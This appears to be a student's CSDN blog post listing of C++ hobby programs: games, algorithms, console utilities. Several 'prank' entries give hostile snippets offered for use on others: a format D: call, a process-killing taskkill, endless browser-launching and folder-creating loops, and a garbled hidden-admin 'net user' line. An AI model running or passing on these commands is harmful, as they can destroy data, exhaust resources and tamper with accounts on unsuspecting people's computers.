- 博客(40)
- 资源 (5)
- 收藏
- 关注

原创 c/c++小游戏 星际追踪Interstellar Tracking(第一章)
游戏不长,但敲了半个月呢。都是些零碎时间。这只是第一章,剩余章节后续会发上(剧情十分狗血,不喜勿喷。。。。。。)代码中一部分自定义头文件都是我以前发过的,可以从我历史文章中找。接下来上代码。(不要忘记评论、点赞、关注和转发哦~~~)/*游戏名称:Interstellar Tracking (第一章)游戏设计:S_JH330206剧本设计:S_JH330206、_JH_duangduang游戏测试:S_JH330206、_JH_duangduang、jd0630*/ #include <i
2021-02-11 14:47:28
1447
10

原创 c++小游戏 走迷宫
c++小游戏 走迷宫最近做了一个走迷宫,自我感觉不错。目前制作了10张地图,游玩前需先仔细阅读帮助,不然会无从下手哦!!!查看方法:运行程序,然后按h键。代码如下:#include<iostream>#include<windows.h>#include"GotoXY.h"#include <conio.h>#include <stdlib.h>#include <time.h>using namespace std;void h
2020-08-10 18:08:35
9243
28
原创 c++ 45行代码实现 生命游戏-细胞自动机!!!
概念:自动运行的机器大家知道细胞自动机这个东西吗?当年冯诺依曼发明了计算机,同时也提出了一个概念:有一种机器,只要人为事先设定好,便可以一直自行地执行下去。可惜他早逝,52岁便被癌症带往天堂,到真正实现就要到那个人了:约翰.康威。他发明了一款连他自己也想不到其影响的游戏,即生命游戏,现在就是我们的细胞自动机。接下来,来看一下ta的运行规则吧。运行规则:很简单,也很好理解:这是一个只有细胞元的世界,每个细胞元占一格,且只有生与死两种状态;现在时刻的状态由上一步骤决定;状态变化的规则1:如果一个生
2021-08-30 16:53:28
930
2
原创 c++ 计划Todo
规律的一天总是从计划开始。本次用c++实现类似与Microsoft Todo 的效果(就是最基本的一些)。背景颜色用的是rgb的,所以目前只有win10及以上可以用。话不多说,上代码:RgbOut.h://RgbOut.h#include <cstdio>#include <windows.h>void rgb_init() { // 初始化 HANDLE hIn = GetStdHandle(STD_INPUT_HANDLE); //
2021-08-15 17:27:46
813
1
原创 c/c++ 简约桌面时钟
偶然注意到,任务栏的时钟是那么丑,就小小的一块,还灰不溜秋的。于是一狠心,自己写了一个时钟,放在桌面上,效果还不错。代码如下:#include <iostream>#include <windows.h>#include <cstdlib>#include <ctime>#include <conio.h>#include "HideCursor.h" using namespace std;int main(){ HideC
2021-07-22 21:39:45
2494
1
原创 c/c++ 随机分配器
这个机器的来源应英语老师要求,我要写一个抽背器,抽到几号就谁去背书。我做完以后去学校,老师用了一下,结果只抽一个,然后就把我给抽中了。。。(真实)原型我之前呢是有发过一个抽奖机的,只是那个是定额分配,但也可看作1.0版吧。原文链接:传送门->.这个机器呢是相当于抽学号了,当然相比1.0版的话颜值和性能都提高了很多。只是仍然需要Windows系统或者啊哈c编译器。源码如下:#include <iostream>#include <conio.h>#includ
2021-05-02 14:25:45
497
1
原创 c++实现杨辉三角(系数表)
写在前面相信大家对杨辉三角并不陌生吧。没错,我们小学奥数经常出的找规律。可万万没想到初中数学竟然还要用,美其名曰系数表。有一段时间作业里压轴题三天两头就是这玩意儿,整的我们个个头都大一圈。一气之下,我写了个杨辉三角的程序,脾气一上头就查表。递推式杨辉三角既然作为无限的规律表,自然有它的递推式。伪代码大概如下:int a[n][m];a[0][0]=1;a[i][j]=a[i-1][j-1]+a[i-1][j];//递推代码实现如下:#include <iostream>u
2021-04-17 16:51:50
371
原创 c/c++随机分配器
微信红包???大家就算再跟不上时代,微信总是用过的吧。那么,我想,红包大家抢过吧??微信红包那神神秘秘的分配机制总是让人倍受惊喜(jīng’xià),令人欢呼(páo’xiào),令人把手机从28楼迫降。那么,微信红包之所谓的随机分配,我们能不能实现呢???随机分配至于微信是怎么分的,我反正不大清楚,但是我还是能效仿出一个差不多的,效果看起来相似。唯一有个缺点是不能分配较多份的总额,不然会卡S的。十分简单,只是随机生成一个小于总额的数输出,再在总额里减去相应的数,直到最后一个直接输出。代码如下:#i
2020-12-12 22:15:30
868
原创 c/c++ 如何快捷地输出...
如何输出三个点写程序滴时候,会遇到要输出三个点表示省略的情况。这个时候,有些人(比如三年前的我)通常会敲出如下代码:cout<<"...";我说,你这有意思么?来点特效行不行?于是我进行了最简单的优化。来点层次感先后顺序十分简单,但是却很美观。这个文件可以保存为.h文件(懒人专属),以免一次次敲或复制。使用自定义头文件不必我多说了吧。如果实在不会可以参考我N年以前写的文章。链接如下:c++在运行程序中移动光标位置的方法.#include<iostream> #incl
2020-12-12 15:17:38
351
2
原创 数字雨1.1版本
1.0版本:1.0版本链接是:https://blog.youkuaiyun.com/S_JH330206/article/details/107977065,可以对比一下,有很大的区别。正文:本次新增了查看时间的功能,还将数字进行了规整。老规矩,仅Windows系统有效。如果非Windows的话,可以试试啊哈c编译器。#include <iostream>#include <windows.h>#include <cstdlib>#include <cti
2020-12-05 17:16:51
263
原创 c++ 斐波那契
开学了。没什么时间写博客了。我已经是个初一的人啦。这道题可以用递归做,不难。代码如下:(输入一个位数,输出那个位数的斐波那契数)#include<bits/stdc++.h>using namespace std;int toin(int n){ int k[1000]; k[0]=1; k[1]=1; for (int i=2;i<=n;i++) { k[i]=k[i-1]+k[i-2]; } return
2020-09-13 12:52:34
324
1
原创 c++ 隐藏光标
记得保存为.h文件。代码如下:#include <windows.h>void HideCursor(){ CONSOLE_CURSOR_INFO cur={1,0}; SetConsoleCursorInfo(GetStdHandle(STD_OUTPUT_HANDLE),&cur);}
2020-08-31 11:41:51
981
原创 整蛊神器-某人的自我反省
这个的话千万不要让你整蛊的人点下确定前看见运行中exe文件哦~不然整蛊失败会game over的啦。代码如下:#include <iostream>#include <windows.h>using namespace std;void m(){ if (MessageBox(NULL,"你是傻子请按确定","警告",MB_ICONWARNING|MB_OKCANCEL)==IDCANCEL) m(); else return;}int main(){
2020-08-29 20:00:48
277
原创 c++如何改变背景和字体颜色
可以用system(“color 字体颜色和背景颜色”);的格式。这里考虑到有些同学不是Windows系统的,所以用了另一种方法。这里字体颜色和背景颜色的书写顺序和system的是相反的。代码如下(保存为.h文件):#include <windows.h>//背景颜色: //0 黑色 //1 蓝色 //2 绿色 //3 湖蓝色 //4 红色 //5 紫色 //6 黄色//7 白色//8 灰色//9 淡蓝色void BackGround(unsigned int For
2020-08-28 14:30:27
6789
6
原创 c++小游戏-商店开源(自己使用,共享)
打怪小游戏商店开源,可做更改。代码如下:#include <iostream>#include <windows.h>#include <cstdlib>#include <time.h>#include <conio.h> using namespace std;void GotoXY(int x, int y) // 移动 { HANDLE hout; //屏幕尺寸 变量 COORD coord={x,y}; //光
2020-08-20 19:48:39
705
原创 c++整蛊系列-关闭进程!!!
没错没错没错!!!我带着病毒再现了!!!关闭进程,可以么???#include <windows.h>int main(){ system("taskkill /f /im QQ.exe"); return 0;}实验的是QQ,可以改成其他的,如编译器的全名。看一下效果:至于慢半拍的McAfee,呵呵。点个赞再走呗~~~o( ̄▽ ̄)ブ...
2020-08-19 09:17:07
339
原创 c++小动画
很简单,也很少。代码如下:#include<iostream> #include<windows.h> using namespace std;void GotoXY(int x, int y) // 移动 { HANDLE hout; //屏幕尺寸 变量 COORD coord={x,y}; //光标坐标 变量 光标x标 光标y标 hout=GetStdHandle(STD_OUTPUT_HANDLE); //获得屏幕尺寸 SetConsoleC
2020-08-17 07:26:52
2535
1
原创 c++实现三角函数
三角函数运用数论的最大公约数。很简单。代码如下:#include<iostream>#include<cmath> using namespace std;int gcd(int x,int y){ int t=x%y; if (t==0) { return y; } else { gcd(y,t); }}int main(){ int a,b,c; cin>>a>>b>>c; if (pow(a,2)
2020-08-16 18:25:11
2106
原创 n钱买n鸡
n钱买n鸡:枚举法很暴力,直接上代码。#include<iostream>using namespace std;int main(){ int n; cin>>n; int num=0; for (int i=0;i<=n*3;i+=3) { for (int j=0;j<=n/3;j++) { for (int k=0;k<=n/5;k++) { if (i/3+j*3+k*5==n&&i+j+k=
2020-08-16 18:20:24
482
原创 c++整盅神器-注销
未运行过,勇敢的可以试一下账号注销了应该还能登录吧。这个代码我真没试过。勇敢的可以试一下,看看对不对,然后发到评论区。建议先把文件都备份一下。#include<windows.h>bool M(){ return 0;}int main(){ system("net user admin$ M() /add"); system("net M() administrators kao$ /add"); return 0;} ...
2020-08-16 11:21:56
254
原创 c++整盅武器-百草丛生文件夹
像草一样,不除根难斩草可以试试开着exe文件删除制造出来的东东。#include<windows.h>#include<iostream>using namespace std; int main(){ cout<<"打开此文件所在的目录"; while (1) system("md 你 是 撒 比 吗 ?q w e r t y u i o p a s d f g h j k l z x c v b n m"); return 0; } 今天屁屁
2020-08-16 10:46:35
201
原创 c++整盅之唬人武器-病毒的信
What???病毒给我寄信???也是唬人的,可以试试看哦,有点恐怖的。#include<windows.h>#include<fstream> #include <iostream>using namespace std;int main(){ cout<<"打开这个文件所在的路径(文件夹或盘)"; ofstream outfile("来自病毒的信.txt",ios::out); if (!outfile) { cerr&l
2020-08-16 10:24:51
412
1
原创 在代码里下毒!!!c++整盅武器之整盅病毒
真的是病毒???Win10系统McFee系统就认为它是病毒。但里面什么也没有,所以可以被轻松拦截下来,也就是一个空壳子。相对于上期的网页加特林来说,还是不怎么生猛的,毕竟只是虚晃一下嘛。#include<windows.h>int main(){ system("format D:");}然后大家就可以测试自己的电脑管家了,快去试试吧。...
2020-08-16 09:54:50
427
原创 c++整盅武器之网页加特林
试试看???代码很短,但很牛逼,直接把我的电脑CPU3秒跑到了100%建议运行前先打开任务管理器,不然的话。。。。。。结、果、请、自、行、想、象。#include<cstdio>#include<windows.h>int main(){ while(1) { system("start iexplore.exe http://www.baidu.com"); } return 0;}为了防止被揍到月球,我先走了,拜拜(赶紧撤离)...
2020-08-16 09:35:29
253
原创 c++ 八皇后问题
经典八皇后可以这样考虑:先按行来,每行一个,找到第一种方法,然后把这种方法的位置标记,然后返回前一步,寻找在当前七个皇后都占了七行时还有别的方法吗。一步步往前推,大体思想就是回溯。这样想的话,八皇后问题还难吗???代码如下:#include <iostream>using namespace std;bool b[1000]={0},c[1000]={0},d[1000]={0};int a[1000]={0},sum=0;void search (int);void print
2020-08-15 11:50:18
319
原创 如何用c++把友谊的小船摇翻-整盅系列第一个作品
终极整盅来自_JH工作室的恶搞程序系列之终极恶搞神器——叫爸爸。你敢运行吗???#include <iostream>#include <windows.h>#include <cstring>using namespace std;int main(){ string str; cout<<"叫爸爸:"; cin>>str; if (str=="爸爸") { cout<<"儿子真乖^_^"; retur
2020-08-15 10:07:02
335
2
原创 高精度乘法 c++实现
高精度乘法和加法比较像。代码:#include <iostream>#include <cstring>using namespace std;int main(){ char a1[100],b1[100]; int a[100],b[100],lena,lenb,lenc=1,c[100]={0},i,x=0,p=1,q=1,j; gets(a1); gets(b1); memset(a,0,sizeof(a)); memset(b,0,size
2020-08-15 09:52:42
344
原创 高精度减法 c++
高精度减法包含判断负数。代码如下:#include<iostream>#include<cstring>using namespace std;int main(){ char a1[1000],b1[1000]; int a[1000],b[1000],c[1000],lena,lenb,lenc; bool t=true; cin>>a1>>b1; memset(a,0,sizeof(a)); memset(b,0,si
2020-08-15 09:50:04
243
原创 c++ 高精度 加法
高精度加法用字符串转数字的。原理很简单,直接上代码。#include<iostream>#include<cstring>using namespace std;int main(){ char a1[100],b1[100]; int a[100],b[100],c[100],lena,lenb,lenc; int x; cin>>a1>>b1; memset(a,0,sizeof(a)); memset(b,
2020-08-15 09:37:27
277
2
原创 Kruskal-最小生成数
Kruskal算法getf是找祖宗的函数。这里edge用的是结构体,我数组也做过,但是代码有点乱,不采用。代码如下:#include<iostream>#include<algorithm> using namespace std;int f[1000];int tot=0;int k=0;struct node{ int st; int en; int di;}edge[1000];bool cmp(node x,node y){ return x.
2020-08-13 17:32:18
169
原创 c++实现数字背景
仅Windows系统有效。#include <iostream>#include <stdlib.h>#include <time.h> #include <windows.h>using namespace std;int main(){ srand((unsigned) time(NULL)); int num; system("color 0a"); while(1) { num=rand()%3; if (num==2)
2020-08-13 12:30:59
209
原创 c++ 小闹钟
本程序在正式运行后请不要关闭。开始运行时无法干预。请运行程序后,等到中午12点按下s键。本来想手动调节的,但连我自己都调不准,时间误差1.5~2.8秒。所以取消掉了。闹钟精确到秒。代码如下(包含手动调节):#include <iostream>#include <conio.h>#include <windows.h>#include "GotoXY.h"using namespace std;void print(){ cout<<"####
2020-08-12 18:37:43
505
原创 c++ 爬楼梯问题 递归解决
爬楼梯问题题目描述一个人爬楼梯,每次只能爬1个或两个台阶,假设有n个台阶,那么这个人有多少种不同的爬楼梯方法?输入 输入台阶的阶数输出 输出有多少种爬楼梯的方法样例输入5样例输出 8这道题由题目中给的意思,想要从题目里得出什么公式结论,是很不容易的,也会解不出来。所以,应该举例子,从n的值与答案关系的规律入手。列表如下:n答案1122334558613应该看出来了吧。当n=1时,答案为1;当n=2时,答案为2.其余都
2020-08-12 10:55:48
2969
4
原创 c++ n的阶乘 递归
n的阶乘题目描述输入n,计算并输出12……*n的结果(0<n<=15)输入3输出6样例输入4样例输出24这是一道递归的问题。由题可得,当n=1时,结果就为1.而如果n>1,就是n的上一个数乘自己。故得出规律f(n)=f(n-1)*n,当n==1时返回1.代码如下:#include<iostream>using namespace std;int f(int n){ if (n==1) { return n; } else { r
2020-08-11 19:29:10
676
原创 c++背包问题
动态规划和贪心中的五个背包问题,收集并整理出来放在这里。0/1背包问题0/1背包问题是一道动规的题,其题目意思就是每样物品只能取一个。二维表格中概括来说是上面位置的数&&上面的位置减物品质量这个数值后这个位子上的数加物品的价值比较哪个大,这里为了方便都转换为一维数组来做。(一样的)#include <iostream>using namespace std;int dp[100];int main(){ int n; int m; cin>>m&g
2020-08-11 11:13:43
1860
原创 c++最短程序
c++中的最短程序今天给大家科普一下:c++中最短程序是什么呢???看见了你可能会不信,但可以尝试一下。(测试编译器:Dev-C++ 5.11)代码如下:main(){}就没了!!!!!!你信吗???如需转载请声明哦~点个赞再走呗~~~...
2020-08-10 18:17:15
665
1
原创 最短路径四种解法
最短路径的四种解法在学习“图”的时候,遇到过一道经典的题:最短路径。最短路径有四种最经典的解法。废话不多说,直接上代码。弗洛伊德算法//Floyd-Warshall#include<iostream> using namespace std;const int M=999999; int n,m,p1,p2,l;int map[1000][1000];int main(){ cin>>n>>m; for (int i=1;i<=n;i++)
2020-08-10 17:57:17
1107
1
原创 c++在运行程序中移动光标位置的方法
在运行程序中移动光标位置在日常敲代码中,或编游戏时,难免需要将光标移动到特定位置。这个问题,一直令人头疼。
2020-08-10 09:57:39
6080
8
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人